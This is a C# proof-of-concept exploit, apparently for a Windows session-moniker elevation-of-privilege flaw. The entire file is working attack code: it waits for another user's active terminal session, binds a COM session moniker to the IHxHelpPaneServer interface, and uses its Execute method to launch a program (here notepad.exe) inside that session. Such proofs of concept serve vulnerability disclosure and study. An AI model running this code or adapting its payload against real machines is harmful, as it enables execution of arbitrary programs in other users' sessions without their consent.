using System; using System.Collections.Generic; using System.Diagnostics; using System.IO; using System.Linq; using System.Runtime.InteropServices; using System.Threading; namespace PoC_SessionMoniker_EoP { class Program { [ComImport, Guid("8cec592c-07a1-11d9-b15e-000d56bfe6ee"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] interface IHxHelpPaneServer { void DisplayTask(string task); void DisplayContents(string contents); void DisplaySearchResults(string search); void Execute([MarshalAs(UnmanagedType.LPWStr)] string file); } enum WTS_CONNECTSTATE_CLASS { WTSActive, // User logged on to WinStation WTSConnected, // WinStation connected to client WTSConnectQuery, // In the process of connecting to client WTSShadow, // Shadowing another WinStation WTSDisconnected, // WinStation logged on without client WTSIdle, // Waiting for client to connect WTSListen, // WinStation is listening for connection WTSReset, // WinStation is being reset WTSDown, // WinStation is down due to error WTSInit, // WinStation in initialization } [StructLayout(LayoutKind.Sequential)] struct WTS_SESSION_INFO { public int SessionId; public IntPtr pWinStationName; public WTS_CONNECTSTATE_CLASS State; } [DllImport("wtsapi32.dll", SetLastError = true)] static extern bool WTSEnumerateSessions( IntPtr hServer, int Reserved, int Version, out IntPtr ppSessionInfo, out int pCount); [DllImport("wtsapi32.dll", SetLastError = true)] static extern void WTSFreeMemory(IntPtr memory); public static IEnumerable GetSessionIds() { List sids = new List(); IntPtr pSessions = IntPtr.Zero; int dwSessionCount = 0; try { if (WTSEnumerateSessions(IntPtr.Zero, 0, 1, out pSessions, out dwSessionCount)) { IntPtr current = pSessions; for (int i = 0; i < dwSessionCount; ++i) { WTS_SESSION_INFO session_info = (WTS_SESSION_INFO)Marshal.PtrToStructure(current, typeof(WTS_SESSION_INFO)); if (session_info.State == WTS_CONNECTSTATE_CLASS.WTSActive) { if (session_info.SessionId != 0) { sids.Add(session_info.SessionId); } } current += Marshal.SizeOf(typeof(WTS_SESSION_INFO)); } } } finally { if (pSessions != IntPtr.Zero) { WTSFreeMemory(pSessions); } } return sids; } static void Main(string[] args) { try { int current_session_id = Process.GetCurrentProcess().SessionId; int new_session_id = 0; Console.WriteLine("Waiting For a Target Session"); while (true) { IEnumerable sessions = GetSessionIds().Where(id => id != current_session_id); if (sessions.Count() > 0) { new_session_id = sessions.First(); break; } Thread.Sleep(1000); } Console.WriteLine("Creating Process in Session {0} after 20secs", new_session_id); Thread.Sleep(20000); IHxHelpPaneServer server = (IHxHelpPaneServer)Marshal.BindToMoniker(String.Format("session:{0}!new:8cec58ae-07a1-11d9-b15e-000d56bfe6ee", new_session_id)); Uri target = new Uri(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "notepad.exe")); server.Execute(target.AbsoluteUri); } catch (Exception ex) { Console.WriteLine(ex); } } } }